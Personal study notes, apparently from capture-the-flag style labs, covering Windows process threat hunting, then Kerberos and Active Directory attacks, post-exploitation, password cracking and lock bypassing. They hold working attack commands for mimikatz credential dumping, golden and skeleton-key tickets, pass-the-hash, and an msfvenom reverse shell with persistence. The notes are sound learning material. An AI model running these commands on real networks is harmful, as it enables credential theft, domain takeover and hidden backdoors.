      * Parent Process: None
      * Number of Instances: One
      * User Account: Local System
      * Start Time: At boot time
    - Process Hacker will show different
      * Image Path: C:\Windows\system32\ntoskrnl.exe (NT OS Kernel)
      * Parent Process: System Idle Process (0)
  + Unusual Behavior
    - parent process (aside from System Idle Process(0)
    - Multiple instances
    - Different PID
    - Not running in Session 0
* System > smss.exe
  + Session Manager Subsystem
    - Windows Session Manager
      * creates new sessions
      * first user-mode process started by kernel
    - starts kernel mode and user mode of the Windows subsystem
      * win32k.sys, winsrv.dll, csrss.exe
    - csrss.exe and wininit.exe started in Session 0 – isolated Windows session for OS
      * csrss.exe and winlogon.exe for Session 1 – user session
    - Any other subsystem in Required value of HKLM\System\CurrentControlSet\Control\Session Manager\Subsystems is launched
    - SMSS also creates environment variables, virtual memory paging files and starts winlogon.exe
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\smss.exe
    - Parent Process: System
    - Number of Instances: One master and child instance per session
    - User Account: Local System
    - Start Time: Within seconds of master instance boot time
  + Unusual Behavior
    - Different parent process other than System(4)
    - Image path is different than C:\Windows\System32
    - More than one running process
    - User is not SYSTEM
    - Unexpected registry entries for Subsystem
* CSRSS.EXE
  + Client Server Runtime Process
    - user-mode side of Windows subsystem
    - always running and critical to system operation
    - responsible for Win32 console window and process thread creation/deletion
      * csrsrv.dll, basesrv.dll, winsrv.dll
    - Makes Windows API available to other processes
      * maps drive letters
      * handles Windows shutdown process
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\csrss.exe
    - Parent Process: Created by an instance of smss.exe (non-existent process)
    - Number of Instances: two+
    - User Account: Local System
    - Start Time: seconds after boot time for Session 0 and 1
  + Unusual Behavior
    - An actual parent process (as smss.exe calls process then self-terminates)
    - Image File path other than C:\Windows\System32
    - Subtle misspellings to hide rogue processes masquerading as csrss.exe
    - User is not SYSTEM
* WININIT.EXE
  + Windows Initialization Process
    - launches services.exe (Service Control Manager)
    - lsass.exe (Local Security Authority)
    - lsaiso.exe within Session 0
      * associated with Credential Guard and Key Guard
      * will only be seen if Credential Guard is enabled
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\wininit.exe
    - Parent Process: Created by smss.exe
    - Number of Instances: 1
    - User Account: Local System
    - Start Time: Within seconds of boot
  + Unusual Behavior
    - Actual parent process
    - image file path other than C:\Windows\System32
    - subtle misspellings to hide rogue processes
    - multiple running instances
    - not running as SYSTEM
* WININIT.EXE > SERVICES.EXE
  + Service Control Manager
    - handle system services
      * loading services
      * interacting with services
      * starting/ending services
    - maintains database that can be queried using sc.exe
    - storied in registry HKLM\System\CurrentControlSet\Services
    - loads device drivers marked as auto-start into memory
    - sets value of Last Known Good control set to CurrentControlSet
      * HKLM\System\Select\LastKnownGood
    - also starts other key processes
      * svchost.exe, spoolsv.exe, msmpeng.exe, dllhost.exe, etc
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\services.exe
    - Parent Process: wininit.exe
    - Number of Instances: 1
    - User Account: Local System
    - Start Time: within seconds of boot
  + Unusual Behavior
    - Parent process other than wininit.exe
    - Image file path other than C:\Windows\System32
    - Subtle misspellings hiding rogue processes
    - Multiple running instances
    - Not running as SYSTEM
* WININIT.EXE > SERVICES.EXE > SVCHOST.EXE
  + Service Host
    - Host Process for Windows Services
      * hosts and manages Windows Services
    - Services running in this process are implemented as DLLs
      * stored in registry for service under Parameters subkey in ServiceDLL
        + HKLM\SYSTEM\CurrentControlSet\Services\SERVICE NAME\Parameters
    - To view within Process Hacker
      * right click svchost.exe process
        + Select Properties

Look at Service DLL

* + - Key identifier in binary path “-k” – legitimate svchost.exe process calling
      * groups similar services to share similar process
      * Machines with 3.5 GB of memory, Windows 10 Version 1703 allows individual services to run own processes
    - As svchost.exe has multiple running processes, it is a target for malicious attacks
      * hide malware amongst legit processes
      * install malicious DLLs
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\svchost.exe
    - Parent Process: services.exe
    - Number of Instances: Many
    - User Account: Varies depending on svchost.exe
    - Start Time: Within seconds of boot or later
  + Unusual Behavior
    - Parent Process other than services.exe
    - Image file path other than C:\Windows\System32
    - Subtle misspellings to hide rogue processes
    - Absence of -k parameter
* LSASS.EXE
  + Local Security Authority Subsystem Service
    - responsible for enforcing security policy on system
    - verifies users
    - handles password changes
    - creates access tokens
    - writes to Windows Security Log
    - Creates security tokens for SAM, AD, and NETLOGON
      * HKLM\System\CurrentControlSet\Control\Lsa
    - Also targeted by adversaries
      * mimikatz used to dump credentials or mimic process to hide
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\lsass.exe
    - Parent Process: wininit.exe
    - Number of Instances: 1
    - User Account: Local System
    - Start Time: within seconds of boot time
  + Unusual Behavior
    - Parent process other than wininit.exe
    - Image file path other than C:\Windows\System32
    - Subtle misspellings to hide rogue processes
    - multiple running instances
    - Not running as SYSTEM
* WINLOGON.EXE
  + responsible for handling Secure Attention Sequence (SAS)
    - ATL+CTRL+DELETE key combo users press to enter username and password
    - responsible for loading user profile
      * loads user’s NTUSER.DAT into HKCU and loads user shell via userinit.exe
    - also locks screen, runs screensaver, etc
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\winlogon.exe
    - Parent Process: Created by smss.exe
    - Number of Instances: 1+
    - User Account: Local System
    - Start Time: within seconds of boot for Session 1
  + Unusual Behavior
    - An actual parent process
    - Image file path other than C:\Windows\System32
    - Subtle misspellings to hide rogue processes
    - Not running as SYSTEM
    - Shell value in the registry other than explorer.exe
* EXPLORER.EXE
  + gives user access to folders and files
  + functionality to Start Menu, Taskbar, etc.
  + Winlogon process runs userinit.exe
    - launches value in HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
  + Normal Behavior
    - Image Path: %SystemRoot%\explorer.exe
    - Parent Process: non-existent (userinit.exe self terms)
    - Number of Instances: 1+ per user
    - User Account: Logged-in User(s)
    - Start Time: When first interactive user logon session begins
  + Unusual Behavior
    - Actual parent process
    - image file path other than C:\Windows
    - Running as an unknown user
    - subtle misspellings to hide rogue processes
    - Outbound TCP/IP connections
* Conclusion
  + Also be aware of
    - RuntimeBroker.exe
    - taskhostw.exe
  + <https://www.threathunting.se/tag/windows-process/>
  + <https://www.sans.org/security-resources/posters/hunt-evil/165/download>
  + <https://docs.microsoft.com/en-us/sysinternals/resources/windows-internals>

Attacktive Directory

* nmap scan IP address
  + - nmap -Pn <ip>
    - nmap -A <ip>
  + Ports
    - * 139 – netbios-ssn
      * 445 – Microsoft-ds
      * 53 – DNS
      * 135 – SMB/RPC
        + RDP into DC
      * 3389 - sometimes
    - Certain ports being present indicate Domain Controller is present
      * 88 – Kerberos
      * 389 – LDAP
      * 636 – LDAPS
  + enum4linux to enumerate ports
    - or smbclient -L \\\\<ip>\\
      * check for shares
  + TLD (top level domain) for Active Directory Domain
    - .local, .org, .com, .net
* Installing Kerbrute
  + Having ID’d Kerberos – 88
    - * brute force discovery of users, passwords, and password spray
      * not recommended to brute force credentials due to account lockout policies
    - userenum - enumeration of valid usernames
    - bruteuser – bruteforce a single users password from a wordlist
    - bruteforce – read username:password combos from a file or stdin
    - passwordspray – test a single password against a list of users
    - must specify domain (-d) or domain controller (- -dc)
      * - -safe option prevents account lockouts if encountered once
  + in directory where files are located that possess usernames and passwords
    - kerbrute userenum -d <domain> - -dc <ip address> <username file>
    - ex. ./kerbrute userenum --dc 10.10.77.160 -d spookysec.local userlist.txt -t 100
      * look for important usernames
        + admins
        + backups
* Exploiting Kerberos
  + Following enumeration of user accounts
    - abuse feature within Kerberos via ASREPRoasting
      * + returns a hash
      * occurs when a user account has the privilege “Does not require Pre-Authentication” set
        + no TGT required
      * Account does not need to provide valid identification before requesting a Kerberos Ticket on the specified user account
  + Exploitation
    - Impacket tool GetNPUsers.py (Impacket/Examples/GetNPUsers.py)
      * allows ASReproastable accounts from the Key Distribution Center
        + only thing needed is a valid set of usernames, enumerated via Kerbrute
      * GetNPUsers.py <domain.ext/user> -no-pass
        + ex. GetNPUsers.py spookysec.local/svc-admin -no-pass
      * hash return
        + copy and save to txt file
      * john <hash file> --wordlist=<password file>
        + or hashcat
    - Once username and password collection
      * To determine what the account is:

psexec.py

smbexec.py

wmiexec.py

* + - * + To try and gain access and determine privs and access levels
      * try smbclient -L \\\\<ip>\\ -u <user>
        + run

enter password

* + - * + Detect what shares this profile has access to

or if anything stands out

* + - * + Try to connect

smbclient \\\\<ip>\\<share name> -U <username>

run and enter password

“get” command noteworthy files

* + - secretsdump.py
      * syntax – secretsdump.py <domain/user:’password’>@<ip> -just-dc
        + dumps out NTLM hashes and Kerberos keys

DRSUAPI method

* + - * + dumps out stored user secrets

pass the hash

psexec.py (impacket)

psexec.py <username>@<ip> -hashes <hash>

whoami

nt authority\system

root

* Elevating Privileges
  + using newfound account credentials

Attacking Kerberos

* Kerberos is intended to be more secure than NTLM by using third party ticket authorization and stronger encryption
  + Common Terminology
    - Ticket Granting Ticket – authentication ticket used to request service tickets for specific resources from the domain
    - Key Distribution Center – issues TGTs and service tickets that consist of the Authentication Service and Ticket Granting Service
    - Authentication Service – issues TGTs to be used by the TGS in the domain to request access to other machines and service tickets
    - Ticket Granting Service – takes TGT and returns a ticket to a machine on the domain
    - Service Principal Name – identifier given to a service instance to associate a service instance with a domain service account
      * windows requires that services have a domain service account
        + why a service needs SPN set
    - KDC Long Term Secret Key (KDC LT Key) - The KDC key is based on the KRBTGT service account. It is used to encrypt the TGT and sign the PAC.
    - Client Long Term Secret Key (Client LT Key) - The client key is based on the computer or service account. It is used to check the encrypted timestamp and encrypt the session key.
    - Service Long Term Secret Key (Service LT Key) - The service key is based on the service account. It is used to encrypt the service portion of the service ticket and sign the PAC.
    - Session Key - Issued by the KDC when a TGT is issued. The user will provide the session key to the KDC along with the TGT when requesting a service ticket.
    - Privilege Attribute Certificate (PAC) - The PAC holds all of the user's relevant information, it is sent along with the TGT to the KDC to be signed by the Target LT Key and the KDC LT Key in order to validate the user.
  + AS-REQ w/ Pre-Authentication in Detail
    - starts when a user requests a TGT from KDC
    - to validate user and create a TGT
      * user encrypts a timestamp NT hash and sends it to AS
      * KDC attempts to decrypt timestamp using NT hash from user
        + if successful – KDC will issue TGT and session key
  + Ticket Granting Ticket Contents
    - TGT provided by user to KDC and KDC validates the TGT and returns a service ticket
  + Service Ticket Contents
    - contains two portions
      * service provided portion
        + user details
        + session key
        + encrypts the ticket with service account NTLM hash
      * user-provided portion
        + validity timestamp
        + session key
        + encrypts with the TGT session key
  + Kerberos Authentication Overview
    - AS-REQ – client requests authentication ticket or ticket granting ticket
    - AS-REP – KDC verifies client and sends back encrypted TGT
    - TGS-REQ – client sends encrypted TGT to TGS with SPN of service clients wants access to
    - TGS-REP – KDC verifies TGT of user and user has access to service, then sends valid session key for the service to the client
    - AP-REQ – client requests the service and sends the valid session key to prove the user has access
    - AP-REP – service grants access
  + Kerberos Tickets Overview
    - main ticket is a ticket granting ticket
      * .kirbi for Rubeus
      * .ccache for Impacket
    - typically base64 and used for various attacks
    - KRBTGT allows user to get any service ticket, allowing access to anything on domain
  + Attack Privilege Requirements
    - Kerbrute Enumeration – no domain access required
    - Pass the Ticket – access as a user to the domain
    - Kerberoasting – access as any user
    - AS-REP Roasting – access as any user
    - Golden Ticket – Full domain compromise (admin)
    - Silver Ticket – Service hash required
    - Skeleton Key – Full domain compromise (admin)
* Enumeration with Kerbrute
  + - By brute-forcing Kerberos pre-authentication, “account failed to log on” event is not triggered
    - Brute-forcing can only be done by sending a single UDP frame to the KDC allowing user to enumerate domain users from a wordlist
      * see syntax above
* Harvesting and Brute-Forcing Tickets with Rubeus
  + - powerful tool for attacking Kerberos
      * adaptation of Kekeo tool
      * overpass the hash
      * ticket requests and renewals
      * ticket management, extraction, harvesting
      * pass the ticket
      * AS-REP Roasting
      * Kerberoasting
    - <https://github.com/GhostPack/Rubeus>
  + On targeted machine
    - find Rubeus executable
      * Rubeus.exe harvest /interval:30 – Rubeus harvests for TGTs every 30 seconds
  + Brute-Forcing/Password-Spraying with Rubeus
    - single user account and wordlist of passwords to see which works for given account
    - Take given Kerberos-based password and spray it against all found users and return a .kirbi ticket
      * TGT ticket that can be used in order to get service tickets from KDC as well as be used in attacks
        + pass the ticket attacks
    - add IP and domain name to hosts file
      * syntax echo <target ip> <domain> >> <PATH>
      * ex. echo 10.10.138.156 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
    - run Rubeus
      * Rubeus.exe brute /password:Password1 /noticket
    - may cause lockout depending on policies of domain
* Kerbroasting with Rubeus & Impacket
  + - popular Kerberos attack
    - allows user to request a service ticket for any service with a registered SPN and use ticket to crack the service password
      * success of attack depends on password and if it is trackable as well as the privileges of the cracked service account
    - Enumerating kerberoastable accounts
      * BloodHound
  + Kerberoasting with Rubeus
    - Rubeus.exe kerberoast
      * copy outputs into hash text file on attacker machine
      * crack with hashcat
        + hashcat -m 13100 -a 0 hash.txt <wordlist>
  + Impacket
    - sudo python3 GetUserSPNs.py <domain>/<account>:<password> -dc-ip <ip> -request
      * will dump hashes for kerbroastable accounts
    - hashcat -m 13100 -a 0 <saved file> <wordlist>
  + What Can A Service Account Do
    - if account is a domain admin
      * control similar to golden/silver ticket
      * dump NTDS.dit
    - If not domain admin
      * log into other systems and pivot/escalate
      * use cracked password to spray against other service and domain admin accounts
  + Kerberoasting Mitigation
    - strong service passwords
    - don’t make service accounts domain admins
* AS-REP Roasting with Rubeus
  + - dumps krbasrep5 hashes of user accounts that have Kerberos pre-authentication disabled
      * do not have to be service accounts
      * only requirement to be able to AS-REP roast a user is to have pre-authentication disabled
    - if pre-authentication is disabled, a user can request any authentication data for any user and the KDC will return an encrypted TGT that can be cracked offline because KDC skips step of validating the user is real
  + Dumping KRBASREP5 Hashes with Rubeus
    - Rubeus.exe asreproast
    - crack hashes with hash cat
      * insert 23$ after $krb5asrep$
      * hashcat -m 18200 hash.txt <wordlist>
  + AS-REP Roasting Mitigations
    - strong password policy
    - don’t turn off Kerberos Pre-Authen
* Pass the Ticket with Mimikatz
  + - popular and powerful post-exploitation tool most commonly used for dumping user credentials inside of an AD network
      * dump TGT from LSASS memory
  + Pass the Ticket Overview
    - dumping TGT from LSASS
      * mimikatz with give .kirbi ticket which can be used to gain domain admin if domain admin ticket is in LSASS
        + great for privesc and lateral movement
        + impersonate tickets using mimikatz PTT
  + Prepare Mimikatz and Dump Tickets
    - on attacking machine
      * mimikatz.exe
        + privilege::debug

if 20 ok

have admin priv to run mimikatz properly

* + - * + sekurlsa::tickets /export

will export tickets to directory currently in

* + - * search for admin tickets from krbtgt
  + Pass the Ticket with Mimikatz
    - Kerberos::ptt <ticket>
      * ex. kerberos::ptt [0;1e87bf][-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi](mailto:-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi)
        + File: : OK
    - kill mimikatz and confirm success with klist command
      * should get client: Administrator or client name of choosing
    - check admin share
      * dir \\<ip\admin$
  + Pass the Ticket Mitigation
    - don’t let domain admins log onto anything except the domain controller
* Golden/Silver Ticket Attacks with Mimikatz
  + Silver tickets are relatively more discrete than golden tickets
    - approach to creating them is the same
    - silver tickets are limited to service that is targeted
      * golden tickets have access to any Kerberos service
    - find accessible service account to get foothold via kerberoasting
      * then dump service hash and impersonate TGT in order to request a service ticket for the SQL service from KDC
  + KRBTGT Overview
    - KRBTGT is the service account for KDC
      * if impersonated, service tickets can be created for any service the attacker desires
    - TGT is the ticket to a service account issued by KDC and can only access the service the TGT is from
  + Golden/Silver Ticket Attack Overview
    - Golden ticket attack works by dumping the ticket-granting ticket of any user on the domain
      * krbtgt ticket for golden
    - provide service/domain admin accounts SID and NTLM hash
      * use details inside mimikatz golden ticket attack to create a TGT that impersonates the given service account information
  + Dump the krbtgt Hash
    - mimikatz.exe
      * privilege::debug
        + lsadump::lsa /inject /name:krbtgt

dump hash as well as security identifier needed to create a Golden Ticket

to create a silver ticket

change /name: to a domain admin account or a service account such as the SQLService account

* + - * to create a golden/silver ticket
        + Kerberos::golden /user:Administrator /domain: /sid: /krbtgt: /id:

golden ticket

sid: found under mimikatz input

krbtgt: found as Primary NTLM

ID: 500

ex. kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-379540

5108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:500

* + - * + for silver ticket

place a service NTLM hash into krbtgt slot

the sid of the service account into sid

change id to 1103

* + - Use the Golden/Silver Ticket to access other machines
      * misc::cmd – will open elevated command prompt with the given ticket
        + Patch OK
* Kerberos Backdoors with Mimikatz
  + - much more subtle as it acts similar to a rootkit by implanting into memory of domain forest
      * allows access to any machine with a master password
    - implements skeleton key that abuses AS-REQ validation of encrypted timestamps
      * using Kerberos RC4 Encryption
    - default hash - 60BA4FCADC466C7A033C178194C03DF6 (mimikatz)
  + Skeleton Key Overview
    - timestamps are encrypted with users NT hash
      * domain controller tries to decrypt timestamp using users NT hash
        + once a skeleton key is implanted the domain controller tries to decrypt the timestamp using both the user NT hash and skeleton key NT hash allowing you access to the domain forest
  + Preparing Mimikatz
    - mimikatz.exe
      * privilege::debug

20 OK

* + - * + misc::skeleton
    - Accessing the forest
      * + default credential: mimikatz
      * ex. net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz
        + share will be accessible without the need for Admin password
      * dir \\Desktop-1\c$ /user:Machine1 mimikatz
        + access directory of Desktop-1 without ever knowing what users have access to Desktop-1
    - will not self-persist – can be scripted or persisted using other tools/techniques
* Conclusion
  + <https://medium.com/@t0pazg3m/pass-the-ticket-ptt-attack-in-mimikatz-and-a-gotcha-96a5805e257a>
  + <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat>
  + <https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1>
  + <https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/>
  + <https://www.varonis.com/blog/kerberos-authentication-explained/>
  + <https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It-wp.pdf>
  + <https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493862736.pdf>
  + <https://www.redsiege.com/wp-content/uploads/2020/04/20200430-kerb101.pdf>

Post-Exploitation Basics

* Enumeration with Powerview
  + https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
    - Powerview is a powerful powershell script from powershell empire that can be used for enumerating a domain after shell has been gained in the system
      * put Powerview on the machine
    - Start Powershell
      * powershell -ep bypass
        + bypasses execution policy of powershell allowing easy run of scripts
    - Start Powerview
      * . .\Downloads\PowerView.ps1
    - Enumerate domain users
      * Get-NetUser | select cn
    - Enumerate domain groups
      * Get-NetGroup -GroupName \*admin\*
    - Find shared folders not set by default
      * Invoke-ShareFinder
    - Find OS running inside of the network besides default
      * Get-NetComputer -fulldata | select operatingsystem
* Enumeration with Bloodhound
  + - graphical interface that allows a visual mapping of a network
      * combined with SharpHound – takes user, groups, trusts, etc. of network and collects them into .json files to be used inside of Bloodhound
  + Bloodhound Installation
    - apt-get install bloodhound
    - sudo neo4j console – default credentials – neo4j:neo4j
      * leave running
  + Getting Loot with Sharphound – on victim machine
    - powershell -ep bypass
    - . .\Downloads\SharpHound.ps1
    - syntax. Invoke-Bloodhound -CollectionMethod <option> -Domain <domain> -ZipFileName <filename>
      * ex. Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
      * pull loot file using scp via ssh
        + syntax - scp remote\_username@10.10.0.2:/remote/file.txt /local/directory
        + ex. scp Administrator@10.10.154.64:/C:/Users/Administrator/20210119202107\_loot.zip /home/nicholas/Desktop
  + Mapping the Network with Bloodhound - Attacker
    - run bloodhound command
      * drag/drop .zip .json files
    - Queries/Analysis
* Dumping Hashes with Mimikatz
  + mimikatz.exe
    - privilege::debug
      * + 20 Ok
      * lsadump::lsa /patch

dumps hashes

* + - * + copy and crack

hashcat -m 1000 <hash> rockyou.txt

* Golden Ticket Attacks with Mimikatz
  + - dump hash and SID of krbtgt user then create a golden ticket to open up a new command prompt to allow for access to any machine on network
  + Dump the KRBTGT Hash
    - lsadump::lsa /inject /name:krbtgt
* Create a Golden Ticket
  + syntax - kerberos::golden /user: /domain: /sid: /krbtgt: /id:
    - ex. Kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt: 5508500012cc005cf7082a9a89ebdfdf /id:500
    - enter
* Use the Golden Ticket to Access Other Machines
  + msic::cmd
    - Patch OK
    - Ctrl+C
  + shell created
* Enumeration with Server Manager
  + using built in windows features
    - server manager
      * if domain admin access attained
        + change trusts, add or remove users, look at groups, etc
        + entry point to find other users with other sensitive information on machines

pivoting

* + - * only way to access is to rdp into server and access server over rdp connection
  + Connect with RDP
  + Enumeration with Server Manager
    - Remmina
      * IP
    - Windows Server Manager
      * Tools Tab
        + info such as users, groups, trusts, computers
        + Active Directory Users and Computers

list of users on domain as well as groups and computers

check descriptions for passwords

* + - * Manage Tab
        + allow to add roles and features
        + easily detectable
* Maintaining Access
  + - meterpreter shell
      * persistence Metasploit module
        + backdoor service in system

give instant meterpreter shell if machine is ever shutdown or reset

* + Generating a Payload with msfvenom
    - msfvenom -p windows/meterpreter/reverse\_tcp LHOST= LPORT= -f exe -o shell.exe
      * generates basic windows meterpreter
    - transfer to victim machine using scp
      * scp <file> remote\_username@<ip>:/remote/directory
    - in msfconsole
      * use exploit/multi/handler
        + set payload windows/meterpreter/reverse\_tcp

set LHOST and run

* + - on victim machine
      * run executable
        + background
        + Run Persistence Module

use exploit/windows/local/persistence

will send payload every 10 seconds in default (time is adjustable)

set session 1

this allows a backdoor to be created that is reachable using msfconsole multihandler and setting payload to windows/meterpreter/reverse\_tcp

* Conclusion
  + <https://blog.harmj0y.net/>
  + <https://adsecurity.org/?page_id=1821>
  + <https://metasploit.help.rapid7.com/docs/about-post-exploitation>
  + <http://www.pentest-standard.org/index.php/Post_Exploitation>
  + <https://offsec.red/mimikatz-cheat-sheet/>
  + <https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993>
  + <https://github.com/gentilkiwi/mimikatz>
  + <https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.ps1>
  + <https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>

John the Ripper

* Hashes operate one way – dependent on P vs NP relationship
  + crackable by comparing password hash outputs from a dictionary to subject
    - dictionary attacks via JtR
* Setting up John the Ripper
  + Parrot, Kali, and AttackBox
    - Jumbo John
    - sudo apt install john
  + Blackarch
    - pacman -Qe | grep “john”
    - pacman -S john
  + Building from Source for Linux
    - git clone https://github.com/openwall/john -b bleeding-jumbo john
    - cd john/src/
    - ./configure
    - make -s clean && make -sj4
    - cd . ./run
  + Installing on Windows
    - download and install zipped binary
* Wordlists
  + SecLists repository
  + /usr/share/wordlists
    - rockyou
* Cracking Basic Hashes
  + John Basic Syntax
    - john [options] [path to file]
  + Automatic Cracking
    - john --wordlist=[path to wordlist] [path to file]
      * auto-crack if hash type cannot be determined
  + Identifying Hashes
    - online hash identifier
    - hash-identifier python tool
    - wget <https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py>
      * launch with python3 hash-identifier.py
  + Format-Specific Cracking
    - john --format=[format] --wordlist=[path to wordlist] [path to file]
* Cracking Windows Authentication Hashes
  + - authentication hashes are the hashed versions of passwords that are stored by Oss
  + NTHash/NTLM
    - format that modern Windows OS machines store user and service passwords
    - acquired by dumping SAM database on a windows machine
      * use tools like mimikatz or from AD database NTDS.dit
        + can use pass the hash attack instead
    - NT flag
* Cracking /etc/shadow Hashes
  + Unshadowing
    - in order to crack /etc/shadow passwords, must be combined with /etc/passwd file to understand data given
      * unshadow [path to passwd] [path to shadow]
        + unshadow invokes the unshadow tool
        + path that contains copy of /etc/passwd file
        + path that contains copy of /etc/shadow
  + Cracking
    - feed output from unshadow to john
      * may need to specify format
        + john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt unshadowed.txt
* Single Crack Mode
  + - John uses information provided in username to try and work out possible passwords heuristically
  + Word Mangling
    - John builds its own dictionary based on the information that it has been fed and uses a set of rules called mangling rules to define mutation of the initial word
      * creates wordlist based off of relevant factors
        + assists in exploiting poor passwords
  + GECOS
    - John Word Mangling is compatible with GECOS fields of UNIX OS and similar
      * Gecos fields are fields split by a colon
        + information can be taken from these records and add into the wordlist it generates when cracking /etc/shadow hashes in single crack mode
  + Using Single Crack Mode
    - * john --single --format=[format] [path to file]
      * ex. john --single --format=raw-sha256 hashes.txt
    - when cracking hashes in single crack mode, must change file format by prepending hash with username that the hash belongs to
      * ex. 1efee03cdcb96d90ad48ccc7b8666033 🡪 mike:1efee03cdcb96d90ad48ccc7b8666033
* Custom Rules
  + - define sets of rules for dynamic creation of password
      * helpful when knowledge of target is possessed
  + Common Custom Rules
    - requirements stated such as capitals, numbers, symbols
    - predictable placement of these requirements
  + How to create custom rules
    - john.conf file
      * /etc/john/john.conf

<https://www.openwall.com/john/doc/RULES.shtml>

* + - * first line
        + [List.Rules:THMRules] – defines name of rule

then use regex syntax style pattern

Az – takes word and append it with the characters you define

A0 – takes the word and prepends it with the characters you define

c – capitalizes the character positionally

can be used in combination to define where and what in the word you want to modify

define characters to be appended, prepended, etc by adding character sets in [] in order to be used

directly follow modifier patterns inside of double quote “ “

* + - * + examples

[0-9] - Will include numbers 0-9

[0] - Will include only the number 0

[A-z] - Will include both upper and lowercase

[A-Z] - Will include only uppercase letters

[a-z] - Will include only lowercase letters

[a] - Will include only a

[!£$%@] - Will include the symbols !£$%@

* + Using Custom Rules
    - called with argument - -rule=<rule name>
    - ex. john --wordlist=[path to wordlist] --rule=PoloPassword [path to file]
* Cracking Password Protected RAR Archives
  + Rar2John
    - converts rar file into a hash format john is able to understand
      * rar2john [rar file] > [output file]
        + ex. rar2john rarfile.rar > rar\_hash.txt
  + Cracking
    - john --wordlist=/usr/share/wordlists/rockyou.txt rar\_hash.txt
    - sudo apt install unrar
    - unrar e <.rar file>
* Cracking SSH Keys with John
  + SSH2John
    - * conversion tool
        + can use ssh2john.py

/opt/john/ssh2john.py

replace ssh2john command with

python3 /opt/john/ssh2john.py

* + - * ssh2john [id\_rsa private key file] > [output file]
        + ex. ssh2john id\_rsa > id\_rsa\_hash.txt
  + Cracking
    - feed file output from ssh2john
      * john --wordlist=/usr/share/wordlists/rockyou.txt id\_rsa\_hash.txt
* Cracking Password Protected Zip Files
  + Zip2John
    - zip2john [options] [zip file] > [output file]
    - ex. zip2john zipfile.zip > zip\_hash.txt
  + Cracking
    - john --wordlist=/usr/share/wordlists/rockyou.txt zip\_hash.txt
    - unzip secure.zip
* Further Reading
  + <https://www.openwall.com/john/>

Basic Pentesting

* nmap -sC -sV -oN
* http port open – navigate in URL
  + inspect page source
  + inspect element
* gobuster
  + find directorys
  + input in URL
* enum4linux
* hydra
  + hydra -l <username> -P <path to list> ssh://<ip>
* smb anonymous login
  + if enum4linux reveal anon availability
  + shells
* LinEnum
  + if you cant ssh LinEnum
    - scp into dev/shm
    - chmod +x
    - ./LinEnum.sh | tee <outputfile.txt>
  + LinPeas alternative
* Enumerate directories with ls -la
  + search for .ssh keys
    - save private keys
    - mark as chmod 600 for ssh use
  + passphrase protection?
    - ssh2john.py
      * python3 /usr/share/john/ssh2john.py id\_rsa\_kay > id\_rsa\_kay\_hash.txt
      * john id\_rsa\_kay\_hash.txt
* Login and Escalate

Tor

* Free and open-source software for enabling anonymous communication
  + directs traffic through overlay network consisting of several thousand relays
    - more difficult to trace user internet activity
  + useful in blackbox testing
  + apt-get install tor
    - service tor start
    - service tor status
      * service tor stop
* Proxychains
  + - forces TCP connections made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5, or HTTP(S) proxy
    - widely used by pentesters during reconnaissance stage
      * such as with nmap
  + apt install proxychains
    - nano /etc/proxychains.conf
      * uncomment dynamic\_chain
      * uncomment proxy\_dns
      * comment strict\_chains
    - save and exit
  + start TOR
    - run proxychains firefox

Physical Security Intro

* <https://youtu.be/rnmcRTnTNC8>
* <https://youtu.be/sw94smSiJBY>
* Overt, Covert, and Surreptitious Entry
  + Overt – entry causes damage/destruction
  + Covert – undetectable to untrained people, detectable during forensics or trained professionals
  + Surreptitious – undetectable to both un-trained and trained people, unnoticed during forensics
* Lock Picking
  + tension wrench
  + single pin picking
    - hook pick
    - false set
  + Raking
  + Wafer Lock
  + Serrated security drivers
* Lock Anatomy
  + shear line
  + key
  + driver
  + ball bearings
  + actuator
  + dead latch
  + dead bolt
* Padlock Bypassing
  + Knife
  + Shim
  + Decoding – Masterlock 5400D
  + Mini Knife – Masterlock 175
  + Bumping
  + Rapping
  + Comb
  + Jiggler
* Hardware Bypassing
  + under the door tool
  + double door tool
  + shim
  + canned air defeats REX sensor
  + film can be used to go over the door to grab the secure side handles when an under the door tool is not able to be used
* Additional Resources
  + <https://toool.us/>

Crack the Hash Level Two

* Hash Identification
  + Haiti CLI tool
  + Hash-Identifier
* Wordlists
  + SecLists
  + wordlistctl
    - wordlistctl search -l
      * search into local archives instead of remote ones
    - wordlistctl fetch -l <wordlist>
      * decompress download with wordlistctl fetch -l rockyou -d
    - wordlistctl search <term>
      * ex. wordlistctl search facebook
      * specific subject
    - wordlistctl list -g <category>
      * wordlistctl list -g fuzzing
      * specific category
  + Rawsec’s CyberSecurity Inventory
    - Cracking Category
* Cracking Tools, Modes, and Rules
  + Hashcat
  + JtR
    - wordlist mode – all words contained in a directory
    - incremental mode – all possible character combinations as passwords
    - rule mode – using wordlist mode and adding pattern or mangle to string
      * Two common ways
